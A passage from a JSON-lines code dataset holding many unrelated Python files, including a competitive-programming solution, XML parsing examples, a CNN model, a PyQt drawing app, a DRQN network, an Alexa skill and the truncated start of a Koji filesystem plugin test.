#释放内存\n","sub_path":"os/段页式存储管理/test(页式虚拟存储).py","file_name":"test(页式虚拟存储).py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"518658734","text":"import sys\nimport math\nimport heapq\nsys.setrecursionlimit(10**7)\nINTMAX = 9223372036854775807\nINTMIN = -9223372036854775808\nDVSR = 1000000007\ndef POW(x, y): return pow(x, y, DVSR)\ndef INV(x, m=DVSR): return pow(x, m - 2, m)\ndef DIV(x, y, m=DVSR): return (x * INV(y, m)) % m\ndef LI(): return [int(x) for x in sys.stdin.readline().split()]\ndef LF(): return [float(x) for x in sys.stdin.readline().split()]\ndef LS(): return sys.stdin.readline().split()\ndef II(): return int(sys.stdin.readline())\ndef FLIST(n):\n res = [1]\n for i in range(1, n+1): res.append(res[i-1]*i%DVSR)\n return res\n\nclass LazyMin:\n def __init__(self, coef):\n self.h_add = []\n self.h_del = []\n self.coef = coef\n\n def add(self, v):\n heapq.heappush(self.h_add, self.coef*v)\n\n def add_diff(self, v):\n bef = self.min()\n self.add(v)\n aft = self.min()\n return (bef, aft)\n\n def delete(self, v):\n heapq.heappush(self.h_del, self.coef*v)\n\n def delete_diff(self, v):\n bef = self.min()\n self.delete(v)\n aft = self.min()\n return (bef, aft)\n\n\n def min(self):\n while self.h_del and self.h_add[0] == self.h_del[0]:\n heapq.heappop(self.h_add)\n heapq.heappop(self.h_del)\n if not self.h_add:\n return 0\n else:\n return self.coef*self.h_add[0]\n\n def __str__(self):\n while self.h_del and self.h_add[0] == self.h_del[0]:\n heapq.heappop(self.h_add)\n heapq.heappop(self.h_del)\n return \"{} {}\".format(self.h_add, self.h_del)\n\nN,Q=LI()\nMP=[(0,0) for i in range(N+1)]\nSC_TO_MAX={}\nAL_MIN=LazyMin(1)\n\nfor i in range(1,N+1):\n A,B=LI()\n MP[i] = (A,B)\n if not B in SC_TO_MAX: SC_TO_MAX[B] = LazyMin(-1)\n SC_TO_MAX[B].add(A)\n\nfor k, v in SC_TO_MAX.items():\n AL_MIN.add(v.min())\n\nfor i in range(Q):\n C,D=LI()\n rate, you = MP[C]\n MP[C] = (rate, D)\n if not D in SC_TO_MAX: SC_TO_MAX[D] = LazyMin(-1)\n\n rate_bef, rate_aft = SC_TO_MAX[you].delete_diff(rate)\n\n if rate_bef != rate_aft:\n AL_MIN.delete(rate_bef)\n if rate_aft: AL_MIN.add(rate_aft)\n\n rate_bef, rate_aft = SC_TO_MAX[D].add_diff(rate)\n\n if rate_bef != rate_aft:\n if rate_bef: AL_MIN.delete(rate_bef)\n AL_MIN.add(rate_aft)\n\n print(AL_MIN.min())\n","sub_path":"abc170/e.py","file_name":"e.py","file_ext":"py","file_size_in_byte":2326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"553421817","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# @Time : 18-5-19 下午7:15\n# @Author : 闫继龙\n# @File : xml_code.py\n# @Software: PyCharm\n\nprint('方法一:使用dom 解析xml')\n\nfrom xml.dom import minidom\n\ndoc = minidom.parse('book.xml')\nroot = doc.documentElement\n\nprint(type(root))\nprint(dir(root))\nprint(root.nodeName)\n\nbooks = root.getElementsByTagName('book')\nfor book in books:\n titles = book.getElementsByTagName('title')\n prices = book.getElementsByTagName('price')\n\n title = titles[0].childNodes[0].nodeValue\n price = prices[0].childNodes[0].nodeValue\n\n print(title, price)\n\nprint('----------------------分割线----------------------')\n\nprint('方法二,使�� sax 解析xml')\nimport string\nfrom xml.parsers.expat import ParserCreate\n\n\nclass DefaultSaxHandler(object):\n def __init__(self):\n pass\n\n def start_element(self, name, attrs):\n self.name = name\n print('element: %s,attrs: %s' % (name, str(attrs)))\n\n def end_element(self, name):\n print('end element:%s' % name)\n\n def char_data(self, text):\n if text.strip():\n print('%s text is: %s ' % (self.name, text))\n\n\nhandler = DefaultSaxHandler()\nparser = ParserCreate()\n\nparser.StartElementHandler = handler.start_element # <book>\nparser.EndElementHandler = handler.end_element # </book>\nparser.CharacterDataHandler = handler.char_data # <title>learn python 处理文本\n\nwith open('book.xml', 'r') as f:\n parser.Parse(f.read())\n","sub_path":"creeper/xml_code.py","file_name":"xml_code.py","file_ext":"py","file_size_in_byte":1492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"489839225","text":"import torch.nn as nn\nimport torch.nn.functional as F\n\nclass ImageCLFNet(nn.Module):\n def __init__(self):\n super(ImageCLFNet, self).__init__()\n self.conv1 = nn.Conv2d(3, 30, kernel_size=3)\n self.conv2 = nn.Conv2d(30, 60, kernel_size=3)\n self.conv2_drop = nn.Dropout2d()\n self.fc1 = nn.Linear(60 * 17 * 12, 50)\n self.fc2 = nn.Linear(50, 7)\n\n def forward(self, x):\n x = F.relu(F.max_pool2d(self.conv1(x), 2))\n x = F.relu(F.max_pool2d(self.conv2_drop(self.conv2(x)), 2))\n \n # batch lost here\n # print(x.shape)\n x = x.view(-1, 60 * 17 * 12)\n \n x = F.relu(self.fc1(x))\n x = F.dropout(x, training=self.training)\n x = self.fc2(x)\n return F.log_softmax(x)","sub_path":"cancer_detection/api/image_classifier/cnn.py","file_name":"cnn.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"329993506","text":"import tarfile\nimport wget\n\ndef get_data():\n\n\twget.download('https://storage.googleapis.com/springboard_project_data/app_data.tar')\n\ndef extract_data():\n\n\tfh = tarfile.open('app_data.tar','r')\n\n\tfh.extractall('App')\n\nif __name__ == '__main__':\n\n\tget_data()\n\n\textract_data()","sub_path":"app_data.py","file_name":"app_data.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"24697449","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('core', '0015_auto_20150726_0738'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='systeminfo',\n name='tag_template',\n field=models.CharField(help_text='Template for generating EPC RFID tags from Database ID.', max_length=24, verbose_name='Tag Template'),\n preserve_default=True,\n ),\n ]\n","sub_path":"core/migrations/0016_auto_20150726_0745.py","file_name":"0016_auto_20150726_0745.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"92296941","text":"# James Park\n# Prof. Kounavelis\n# Lab 8 matplotlib pie chart\n\nimport matplotlib.pyplot as plt\nfrom sys import argv\n\n# Get file\ninFile = open(argv[1], \"r\")\n# Setup parts\nlabels = 'Rent', 'Gas', 'Food', 'Clothing', 'Car payment', 'Misc'\nsizes = []\n# Feed in data\nfor x in inFile:\n sizes.append(x)\n# Setup and show pie chart\nfig1, ax1 = plt.subplots()\nax1.pie(sizes, labels=labels, autopct='%1.1f%%', shadow=False, startangle=90)\nax1.axis('equal')\n\nplt.show()\n","sub_path":"lab8/lab8.py","file_name":"lab8.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"165869998","text":"# 4. 在控制台中获取年份,月份.\n# 显示该月份的天数.2月闰年29天,平年28天\n# 1 3 5 7 8 10 12 --> 31\n# 4 6 9 11 --> 30\n# 2 --> 28 29\n\nmonth = int(input(\"请输入月份:\"))\nyear = int(input(\"请输入年份:\"))\nif month < 1 or month > 12:\n print(\"输入错误\")\nelif month == 2:\n if year % 4 == 0 and year % 100 != 0 or year % 400 == 0:\n print(\"29天\")\n else:\n print(\"28天\")\nelif month == 4 or month == 6 or month == 9 or month == 11:\n print(\"30天\")\nelse:\n print(\"31天\")\n","sub_path":"xiaojian/first_phase/teacher/day04/day03_exercise/exrcise02.py","file_name":"exrcise02.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"590053393","text":"#!/usr/bin/env python\n\nimport tables,numpy,pylab,scipy.optimize\n\nt=tables.openFile(\"/Users/troy/Icecube/data/nugen_numu.000850.0000XX.h5\")\n\ndef gaussian(x,p):\n return p[0] * numpy.exp ( - (x-p[1])**2/2/p[2]**2 ) + p[3]\n\n#gaussian = lambda x,p: p[0] * numpy.exp ( - (x-p[1])**2/2/p[2]**2 ) + p[3]\n\ndef residuals(p,x,y):\n gaussian(x,p)-y\n\n#residuals= lambda p,x,y: gaussian(x,p)-y\n\ndata, bins=numpy.histogramdd( (t.root.data.cols.I3MCTree.MaxTrack.zenith[:] - t.root.data.cols.MultiFit.zenith[:] ) /t.root.data.cols.ParaboloidFitFitParams.pbfSigmaZen[:] ,weights=t.root.data.cols.I3MCWeightDict.OneWeight[:] ** t.root.data.cols.I3MCTree.MaxPrimary.energy[:]**-2, range=[[-5,5]], bins=50 )\nbins=bins[0][:-1]\n\np0=[900,0,1,0]\n\np1,fitstatus=scipy.optimize.leastsq(residuals, p0, args=(bins,data ), maxfev=2000)\n\nprint(p1)\n\npylab.plot(bins,data,ls='steps')\npylab.plot(bins,gaussian(bins,p1))\n\npylab.show()\n","sub_path":"resources/examples/paraboloidpull.py","file_name":"paraboloidpull.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"465569324","text":"import os\nimport json\nimport requests\nimport urllib\nimport time\n\nheaders={\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit'\n '/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safar'\n 'i/537.36',\n 'Host': 'api.momentumdash.com',\n 'Accept': 'application/json, text/javascript, */*; q=0.01',\n 'X-Momentum-ClientId': '0956ce46-0c79-4189-8fc6-808e6228e38f',\n 'X-Momentum-Version': '0.99.5',\n 'Content-Type': 'application/json',\n }\n\ndef auto_down(url, filename):\n try:\n urllib.urlretrieve(url, filename)\n except urllib.ContentTooShortError:\n print('Network conditions is not good.Reloading.')\n auto_down(url, filename)\n\n\ndirectory = os.path.dirname(os.path.realpath(__file__))\nprint(directory)\ntoday = time.strftime(\"%Y-%m-%d\")\n\nreq = 'https://api.momentumdash.com/feed/bulk?syncTypes=backgrounds&localDate=' + today\nresponse = requests.get(req, headers=headers)\nresponse2 = response.text\nprint(response2)\n\ndata = response.json()\n\nif not os.path.exists(directory):\n os.makedirs(directory)\n\nfor bg in data['backgrounds']:\n # name = bg['filename'].rsplit('/', 1)[-1]\n path = directory + today + \".jpg\"\n # print name\n # no file type data, so assume .png\n if not os.path.exists(path):\n auto_down(bg['filename'], path)\n\n","sub_path":"daily_wallpaper/change_wallpaper.py","file_name":"change_wallpaper.py","file_ext":"py","file_size_in_byte":1351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"630896830","text":"import sys\nimport random\n\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtWidgets import *\nfrom PyQt5 import uic, QtCore, QtWidgets, QtGui\n\n\nclass MyWidget(QMainWindow):\n def __init__(self):\n super().__init__()\n uic.loadUi('untitled.ui', self) # Загружаем дизайн\n self.setWindowTitle('Рисование')\n self.do_paint = False\n self.btn1.clicked.connect(self.paint)\n\n def paint(self):\n self.do_paint = True\n self.repaint()\n\n def paintEvent(self, event):\n if self.do_paint:\n qp = QPainter()\n qp.begin(self)\n self.draw_flag(qp)\n qp.end()\n\n def draw_flag(self, qp):\n q = random.randint(1, 5)\n for i in range(q):\n qp.setBrush(QColor(255, 255, 0))\n w = random.randint(20, 200)\n x, y = random.randint(30, 450), random.randint(30, 450)\n qp.drawEllipse(x, y, w, w)\n\n\nclass Ui_MainWindow(object):\n def setupUi(self, MainWindow):\n MainWindow.setObjectName(\"MainWindow\")\n MainWindow.resize(539, 447)\n self.centralwidget = QtWidgets.QWidget(MainWindow)\n self.centralwidget.setObjectName(\"centralwidget\")\n self.btn1 = QtWidgets.QPushButton(self.centralwidget)\n self.btn1.setGeometry(QtCore.QRect(170, 350, 161, 41))\n font = QtGui.QFont()\n font.setPointSize(14)\n self.btn1.setFont(font)\n self.btn1.setObjectName(\"btn1\")\n MainWindow.setCentralWidget(self.centralwidget)\n self.menubar = QtWidgets.QMenuBar(MainWindow)\n self.menubar.setGeometry(QtCore.QRect(0, 0, 539, 21))\n self.menubar.setObjectName(\"menubar\")\n MainWindow.setMenuBar(self.menubar)\n self.statusbar = QtWidgets.QStatusBar(MainWindow)\n self.statusbar.setObjectName(\"statusbar\")\n MainWindow.setStatusBar(self.statusbar)\n\n self.retranslateUi(MainWindow)\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\n\n def retranslateUi(self, MainWindow):\n _translate = QtCore.QCoreApplication.translate\n MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MainWindow\"))\n self.btn1.setText(_translate(\"MainWindow\", \"Нарисовать!\"))\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n ex = MyWidget()\n ex.show()\n sys.exit(app.exec_())","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"329931881","text":"import tensorflow as tf\nimport tensorflow.contrib.slim as slim\nimport numpy as np\nimport random\n\n\nclass DRQN():\n def __init__(self, input_size: int, h_size: int,\n rnn_cell: tf.nn.rnn_cell.LSTMCell, learning_rate: float, scope: str):\n self.input_size = input_size\n self.net_name = scope\n self._build_network(rnn_cell, learning_rate, h_size)\n\n def _build_network(self, rnn_cell, learning_rate, h_size):\n with tf.variable_scope(self.net_name):\n self.X = tf.placeholder(shape=[None, self.input_size], dtype=tf.float32)\n net = self.X\n self.batch_size = tf.placeholder(dtype=tf.int32, shape=[])\n self.trainLength = tf.placeholder(dtype=tf.int32)\n\n Hidden_Layer = [250, 250, 250, 250]\n num_layer = len(Hidden_Layer)\n \n for num_neurons in Hidden_Layer:\n net = tf.contrib.layers.fully_connected(\n inputs=net, num_outputs=num_neurons, activation_fn=tf.nn.relu)\n \n self.netFlat = tf.reshape(slim.flatten(net), [self.batch_size, self.trainLength, h_size])\n self.state_in = rnn_cell.zero_state(\n batch_size=self.batch_size, dtype=tf.float32),\n self.rnn, self.rnn_state = tf.nn.dynamic_rnn(\n cell=rnn_cell, inputs=self.netFlat,\n initial_state=self.state_in[0],\n dtype=tf.float32, scope=self.net_name+'_rnn')\n\n self.rnn = tf.reshape(self.rnn, shape=[-1, h_size])\n\n self.streamA, self.streamV = tf.split(\n value=self.rnn, num_or_size_splits=2, axis=1)\n self.AW = tf.Variable(tf.random_normal([int(h_size/2), 4]))\n self.VW = tf.Variable(tf.random_normal([int(h_size/2), 1]))\n self.Advantage = tf.matmul(self.streamA, self.AW)\n self.Value = tf.matmul(self.streamV, self.VW)\n\n self.salience = tf.gradients(self.Advantage, self.X)\n self.Qout = self.Value + tf.subtract(self.Advantage, tf.reduce_mean(\n self.Advantage, reduction_indices=1, keep_dims=True))\n self.predict = tf.argmax(self.Qout, 1)\n\n self.targetQ = tf.placeholder(shape=[None], dtype=tf.float32)\n self.actions = tf.placeholder(shape=[None], dtype=tf.int32)\n self.actions_onehot = tf.one_hot(indices=self.actions, depth=4, dtype=tf.float32)\n\n self.Q = tf.reduce_sum(tf.multiply(self.Qout, self.actions_onehot), reduction_indices=1)\n\n self.td_error = tf.square(self.targetQ - self.Q)\n\n self.maskA = tf.zeros(shape=[self.batch_size, tf.cast(self.trainLength/2, tf.int32)])\n self.maskB = tf.ones(shape=[self.batch_size, tf.cast(self.trainLength/2, tf.int32)])\n self.mask = tf.concat(values=[self.maskA, self.maskB], axis=1)\n self.mask = tf.reshape(self.mask, [-1])\n self.loss = tf.reduce_mean(self.td_error * self.mask)\n self.loss_hist = tf.summary.scalar('loss', self.loss)\n self.merged_summary = tf.summary.merge([self.loss_hist])\n\n self.train = tf.train.AdamOptimizer(learning_rate=learning_rate)\n self.updateModel = self.train.minimize(self.loss)\n\n\nclass Experience_Buffer():\n def __init__(self, buffer_size=1E4):\n self.buffer = []\n self.buffer_size = buffer_size\n\n def add(self, experience):\n if len(self.buffer) + 1 >= self.buffer_size:\n self.buffer[0:(1+len(self.buffer)) - self.buffer_size] = []\n self.buffer.append(experience)\n\n def sample(self, batch_size, trace_length):\n sampled_episodes = random.sample(self.buffer, batch_size)\n sampledTraces = []\n for episode in sampled_episodes:\n point = random.randint(0, len(episode) - trace_length)\n sampledTraces.append(episode[point:point + trace_length])\n sampledTraces = np.array(sampledTraces)\n\n return np.reshape(sampledTraces, [batch_size * trace_length, 5])","sub_path":"Machine_Learning/DBR/DBR_DRQN/drqn.py","file_name":"drqn.py","file_ext":"py","file_size_in_byte":4021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"325346856","text":"import bpy\nfrom bpy.props import *\nfrom math import tan, radians\nfrom mathutils import Vector\nfrom .... base_types.node import AnimationNode\nfrom .... algorithms.mesh_generation.indices_utils import gridQuadPolygonIndices, gridQuadEdgeIndices\nfrom .... algorithms.mesh_generation.basic_shapes import gridVertices\nfrom .... events import executionCodeChanged\n\nclass TriGridMeshNode(bpy.types.Node, AnimationNode):\n bl_idname = \"an_TriGridMeshNode\"\n bl_label = \"Tri Grid Mesh\"\n\n useDegree = BoolProperty(name = \"Use Degree\", default = True, update = executionCodeChanged)\n centerGrid = BoolProperty(name = \"Center\", default = True, update = executionCodeChanged)\n flip = BoolProperty(name = \"Flip\", default = False, update = executionCodeChanged)\n boundCenter = BoolProperty(name = \"Bound Box Center\", default = False, update = executionCodeChanged)\n\n def create(self):\n self.width = 160\n divisionsSockets = [\n self.inputs.new(\"an_IntegerSocket\", \"X Divisions\", \"xDivisions\"),\n self.inputs.new(\"an_IntegerSocket\", \"Y Divisions\", \"yDivisions\") ]\n for socket in divisionsSockets:\n socket.value = 5\n socket.minValue = 2\n self.inputs.new(\"an_FloatSocket\", \"Distance\", \"distance\").value = 1\n self.inputs.new(\"an_FloatSocket\", \"Angle\", \"angle\").value = 60\n self.inputs.new(\"an_FloatSocket\", \"Shift\", \"shift\").value = 0\n self.inputs.new(\"an_VectorSocket\", \"Offset\", \"offset\").isDataModified = True\n \n self.outputs.new(\"an_VectorListSocket\", \"Vertices\", \"vertices\")\n self.outputs.new(\"an_EdgeIndicesListSocket\", \"Edge Indices\", \"edgeIndices\")\n self.outputs.new(\"an_PolygonIndicesListSocket\", \"Polygon Indices\", \"polygonIndices\")\n\n def draw(self, layout):\n row = layout.row(align = True)\n row.prop(self, \"centerGrid\")\n row.prop(self, \"flip\")\n layout.prop(self, \"useDegree\")\n\n def drawAdvanced(self, layout):\n if self.centerGrid: layout.prop(self, \"boundCenter\")\n\n def execute(self, xDivisions, yDivisions, distance, angle, shift, offset):\n \n ang = tan(radians(angle)) / 2 if self.useDegree else tan(angle) / 2\n b = distance / 4 if self.boundCenter else 0\n \n offset = offset.copy()\n if self.flip:\n xDiv, yDiv = (max(yDivisions, 2), max(xDivisions, 2))\n offset.y -= (xDiv - 1) * distance / 2 + b if self.centerGrid else 0\n offset.x -= (yDiv - 1) * distance * ang / 2 if self.centerGrid else 0\n else:\n xDiv, yDiv = (max(xDivisions, 2), max(yDivisions, 2))\n offset.x -= (xDiv - 1) * distance / 2 + b if self.centerGrid else 0\n offset.y -= (yDiv - 1) * distance * ang / 2 if self.centerGrid else 0\n \n vertices = triGridVertices(xDiv, yDiv, distance, ang, shift, offset, self.flip) if self.outputs[0].isLinked else []\n edgeIndices = triGridEdgeIndices(xDiv, yDiv) if self.outputs[1].isLinked else []\n polygonIndices = triGridPolygonIndices(xDiv, yDiv) if self.outputs[2].isLinked else []\n\n return vertices, edgeIndices, polygonIndices\n\ndef triGridVertices(xDiv, yDiv, distance, angle, shift, offset, flip):\n fac = min(max(distance * shift, -1), 1)\n vectorList = []\n for y in range(yDiv):\n for x in range(xDiv):\n if flip:\n vectorList.append(Vector(( y * distance * angle + offset.x, x * distance + y % 2 * distance / 2 + offset.y, 0 )) )\n else:\n vectorList.append(Vector(( x * distance + y % 2 * (distance + fac) / 2 + offset.x, y * distance * angle + offset.y, 0 )) )\n return vectorList\n\ndef triGridEdgeIndices(xDiv, yDiv):\n edgeIndicesList = []\n for y in range(yDiv):\n for x in range(xDiv):\n if x < xDiv-1: edgeIndicesList.append((y * xDiv + x, y * xDiv + x + 1))\n if y < yDiv-1: edgeIndicesList.append((y * xDiv + x, (y + 1) * xDiv + x))\n if x < xDiv-1 and y < yDiv-1: \n if y % 2 == 0: edgeIndicesList.append(((y + 1) * xDiv + x, y * xDiv + x + 1))\n else: edgeIndicesList.append((y * xDiv + x, y * (y + 1) * xDiv + x +1))\n return edgeIndicesList\n\ndef triGridPolygonIndices(xDiv, yDiv):\n polygonIndicesList = []\n for y in range(yDiv-1):\n for x in range(xDiv-1):\n if y % 2 == 0:\n polygonIndicesList.append((y * xDiv + x, y * xDiv + x + 1, (y + 1) * xDiv + x))\n polygonIndicesList.append((y * xDiv + x + 1, (y + 1) * xDiv + x + 1, (y + 1) * xDiv + x))\n else:\n polygonIndicesList.append((y * xDiv + x, (y + 1) * xDiv + x + 1, (y + 1) * xDiv + x))\n polygonIndicesList.append((y * xDiv + x, y * xDiv + x + 1, (y + 1) * xDiv + x +1))\n return polygonIndicesList","sub_path":"nodes/mesh/generation/tri_grid.py","file_name":"tri_grid.py","file_ext":"py","file_size_in_byte":4822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"193768508","text":"# 5 (Finding the number of days in a month) ​q05_find_month_days.py\n# Write a program that prompts the user to enter the month and year, and displays the number\n# of days in the month. For example, if the user entered month 2 and year 2000, the program\n# should display that February 2000 has 29 days. If the user entered month 3 and year 2005,\n# the program should display that March 2005 has 31 days.\n\nmonth_31 = [1, 3, 5, 7, 8, 10, 12]\nmonth_30 = [4, 6, 9, 11]\n\nprint(\"Welcome to days in month calculator!\")\nyear = int(input(\"Enter year\"))\nmonth = int(input(\"Enter month (1-12)\"))\nif month == 2:\n if year % 400 == 0:\n print(\"There are 29 days!\")\n elif year % 4 == 0 and year % 100 != 0:\n print(\"There are 29 days!\")\n else:\n print(\"There are 28 days!\")\nif month in month_31:\n print(\"There are 31 days!\")\nif month in month_30:\n print(\"There are 30 days!\")\n","sub_path":"q05_find_month_days.py","file_name":"q05_find_month_days.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"96108902","text":"# -*- coding: utf-8 -*-\n\n# the real app\nfrom flask import Flask\nfrom flaskfactory import make_app, load_config, install_extras\n\nfrom drift.configsetup import rig_tenants\nfrom .urlregistry import urlregistrysetup\n\nimport logging\nlog = logging.getLogger(__name__)\n\napp = Flask(\"drift\")\n\ndef bootstrap():\n\n make_app(app)\n app.config.update(load_config())\n app.env_objects = {} # Environment specific object store. \n rig_tenants(app)\n urlregistrysetup(app)\n install_extras(app)\n\n if not app.debug:\n log.info(\"Flask server is running in RELEASE mode.\")\n else:\n log.info(\"Flask server is running in DEBUG mode.\")\n try:\n from flask_debugtoolbar import DebugToolbarExtension\n DebugToolbarExtension(app)\n except ImportError:\n log.info(\"Flask DebugToolbar not available: Do 'pip install \"\n \"flask-debugtoolbar' to enable.\")\n\n\n# Just by importing this module, the app object is initialized\nbootstrap()\n","sub_path":"drift/appmodule.py","file_name":"appmodule.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"575732959","text":"\"\"\"Our House Alexa skill.\nThis skill will talk with a raspberrypi in our house to tell us all kinds of\nthings that we want to know.\n\"\"\"\n\nimport urllib2\nimport json\nimport random\nfrom flask import Flask, render_template\nfrom flask_ask import Ask, statement, question\n\n\napp = Flask(__name__)\nask = Ask(app, '/')\n\n@ask.launch\ndef launched():\n return statement(render_template('welcome'))\n\n@ask.session_ended\ndef session_ended():\n return \"{}\", 200\n#\n@ask.intent('temperature')\ndef temp2():\n temp = get_temp()\n itemp = get_inside_temp()\n text = render_template('temp', otemp=temp[0], itemp=itemp)\n return statement(text).simple_card('Temperature', text)\n\n@ask.intent('king')\ndef king():\n king = get_king()\n text = render_template('king', name=choices[pick])\n return statement(text)\n\n@ask.intent('Weight')\ndef weight(dog):\n if not dog:\n dog = 'Rango or Pip'\n return statement(render_template('confirm_weight', name=dog))\n\n@ask.intent('WeightReady')\ndef ready(dog):\n if not dog:\n dog = \"rango\"\n weight = 9.2 if dog.lower() == \"rango\" else 6.3\n text = render_template('weight', weight=weight, name=dog)\n return statement(text).simple_card(text)\n\n@ask.intent('GuessTheKingStart')\ndef guess_the_king_start():\n text = render_template('king_start')\n reprompt = render_template('king_start_reprompt')\n return question(text).reprompt(reprompt)\n\n@ask.intent('GuessTheKingEnd')\ndef guess_the_king_end(theking):\n king = get_king()\n template = 'king_end_win' if king == theking else 'king_end_lose'\n text = render_template(template, king=king, not_king=theking)\n return statement(text)\n\ndef get_king():\n choices = ['Mark', 'Kat', 'Rango', 'Pip']\n return random.choice(choices)\n\n@app.route('/test/')\ndef test(theking):\n king = get_king()\n template = 'king_end_win' if king == theking else 'king_end_lose'\n text = render_template(template, king=king, not_king=theking)\n return text\n\ndef get_inside_temp():\n with open('/home/pi/temperature.txt', 'r') as f:\n return f.read()\n\ndef get_temp():\n headers = {'Accept': 'application/json'}\n url = 'http://services.faa.gov/airport/status/GRR'\n request = urllib2.Request(url, headers=headers);\n data = json.load(urllib2.urlopen(request))\n return (data['weather']['temp'].split('F')[0], data['weather']['weather'])\n\nif __name__ == '__main__':\n app.run(debug=True, port=5050)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"382495283","text":"\"\"\"\nCopyright (c) 2016, 2018, 2019 Red Hat, Inc\nAll rights reserved.\n\nThis software may be modified and distributed under the terms\nof the BSD license. See the LICENSE file for details.\n\"\"\"\n\nfrom textwrap import dedent\nfrom flexmock import flexmock\n\nimport koji\nimport pytest\nimport os.path\nimport responses\nimport logging\n\nfrom atomic_reactor.inner import DockerBuildWorkflow\nfrom atomic_reactor.plugin import (\n PreBuildPluginsRunner, PluginFailedException, BuildCanceledException)\nfrom atomic_reactor.plugins.pre_add_filesystem import AddFilesystemPlugin\nfrom atomic_reactor.plugins.pre_reactor_config import (ReactorConfigPlugin,\n WORKSPACE_CONF_KEY,\n ReactorConfig)\nfrom atomic_reactor.util import df_parser, DockerfileImages\nfrom atomic_reactor.source import VcsInfo\nfrom atomic_reactor.constants import (PLUGIN_ADD_FILESYSTEM_KEY,\n PLUGIN_CHECK_AND_SET_PLATFORMS_KEY,\n PLUGIN_BUILD_ORCHESTRATE_KEY,\n PLUGIN_RESOLVE_COMPOSES_KEY)\nimport atomic_reactor.utils.koji as koji_util\nfrom tests.constants import (MOCK_SOURCE, DOCKERFILE_GIT, DOCKERFILE_SHA1,\n MOCK, IMPORTED_IMAGE_ID)\nif MOCK:\n from tests.docker_mock import mock_docker\n from tests.retry_mock import mock_get_retry_session\n\nKOJI_HUB = 'https://koji-hub.com'\nKOJI_TARGET = 'guest-fedora-23-docker'\nFILESYSTEM_TASK_ID = 1234567\n\nDEFAULT_DOCKERFILE = dedent(\"\"\"\\\n FROM koji/image-build\n RUN dnf install -y python-django\n \"\"\")\n\nDOCKERFILE_WITH_LABELS = dedent(\"\"\"\\\n FROM koji/image-build\n RUN dnf install -y python-django\n LABEL \"com.redhat.component\"=\"testproject\" \\\\\n \"name\"=\"testproject_baseimage\" \\\\\n \"version\"=\"8.0\"\n \"\"\")\n\npytestmark = pytest.mark.usefixtures('user_params')\n\n\nclass MockSource(object):\n def __init__(self, tmpdir):\n tmpdir = str(tmpdir)\n self.dockerfile_path = os.path.join(tmpdir, 'Dockerfile')\n self.path = tmpdir\n\n def get_build_file_path(self):\n return self.dockerfile_path, self.path\n\n def get_vcs_info(self):\n return VcsInfo('git', DOCKERFILE_GIT, DOCKERFILE_SHA1)\n\n\nclass X(object):\n def __init__(self, parent_images):\n self.image_id = \"xxx\"\n self.dockerfile_images = DockerfileImages(parent_images)\n\n\ndef mock_koji_session(scratch=False, image_task_fail=False,\n throws_build_cancelled=False,\n error_on_build_cancelled=False,\n download_filesystem=True,\n get_task_result_mock=None,\n arches=None):\n\n session = flexmock()\n\n def _mockBuildImageOz(*args, **kwargs):\n if scratch:\n assert kwargs['opts']['scratch'] is True\n else:\n assert 'scratch' not in kwargs['opts']\n\n if arches:\n assert set(args[2]) == set(arches)\n\n if not download_filesystem:\n return None\n\n return FILESYSTEM_TASK_ID\n\n session.should_receive('buildImageOz').replace_with(_mockBuildImageOz)\n\n session.should_receive('taskFinished').and_return(True)\n if image_task_fail:\n session.should_receive('getTaskInfo').and_return({\n 'state': koji_util.koji.TASK_STATES['FAILED']\n })\n else:\n session.should_receive('getTaskInfo').and_return({\n 'state': koji_util.koji.TASK_STATES['CLOSED']\n })\n\n if get_task_result_mock:\n (session.should_receive('getTaskResult')\n .replace_with(get_task_result_mock).once())\n\n session.should_receive('listTaskOutput').and_return([\n 'fedora-23-1.0.x86_64.tar.gz',\n ])\n session.should_receive('getTaskChildren').and_return([\n {'id': 1234568},\n ])\n if download_filesystem:\n 